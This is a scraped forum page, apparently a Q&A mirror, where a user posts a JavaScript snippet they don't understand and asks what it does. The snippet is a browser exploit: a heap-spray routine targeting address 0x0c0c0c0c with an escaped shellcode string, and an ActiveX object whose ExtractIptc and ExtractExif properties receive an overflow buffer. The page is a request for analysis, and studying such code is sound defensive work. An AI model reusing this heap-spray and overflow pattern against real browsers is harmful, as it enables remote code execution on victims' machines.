Note that there are some explanatory texts on larger screens.

plurals
  1. POI don't understand this Code
    text
    copied!<p>I do not understand this code snippet :</p> <pre><code>function ms(){ var plc=unescape('". unescape( '\x43\x43\x43\x43\n.............\xEF'. $URL).CollectGarbage(); if (mf)return(0); mf=1; var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38); var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs; for(i=0;i&lt;hb;i++) m[i]=ss+plc; hav(); return(1); } </code></pre> <p>In the above function I can't seem to figure out the variable types, or figure out what it's doing with the <code>hsta</code> variable, and what it's assigning to it:</p> <pre><code>var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38); var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs; for(i=0;i&lt;hb;i++)m[i]=ss+plc; </code></pre> <p>I also can't figure out this function :</p> <pre><code>function fb(){ try { var obj=null; obj=cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}'); if(obj){ ms(); var buf = addr(0x0c0c0c0c); while (buf.length &lt; 400) buf += buf; buf = buf.substring(0,400); obj.ExtractIptc = buf; obj.ExtractExif = buf; } } catch(e){} return 0; } </code></pre> <p>What does the following code mean? </p> <blockquote> <p><code>cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}')</code></p> </blockquote> <p>What kind of variable is this? </p> <pre><code>var buf = addr(0x0c0c0c0c); buf = buf.substring(0,400); obj.ExtractIptc = buf; obj.ExtractExif = buf; </code></pre> <p>Most importantly, what is that code snippet trying to do?</p> <p>Here are some more functions:</p> <pre><code>function hex(num,width){ var digits='0123456789ABCDEF'; var hex=digits.substr(num&amp;0xF,1); while(num&gt;0xF){ num=num&gt;&gt;&gt;4; hex=digits.substr(num&amp;0xF,1)+hex; } var width=(width?width:0); while(hex.length&lt;width)hex='0'+hex; return hex; } function addr(addr){ return unescape('%u'+hex(addr&amp;0xFFFF,4)+'%u'+hex((addr&gt;&gt;16)&amp;0xFFFF,4)); } </code></pre> <p>Any guidance would be appreciated.</p>
 

Querying!

 
Guidance

SQuiL has stopped working due to an internal error.

If you are curious you may find further information in the browser console, which is accessible through the devtools (F12).

Reload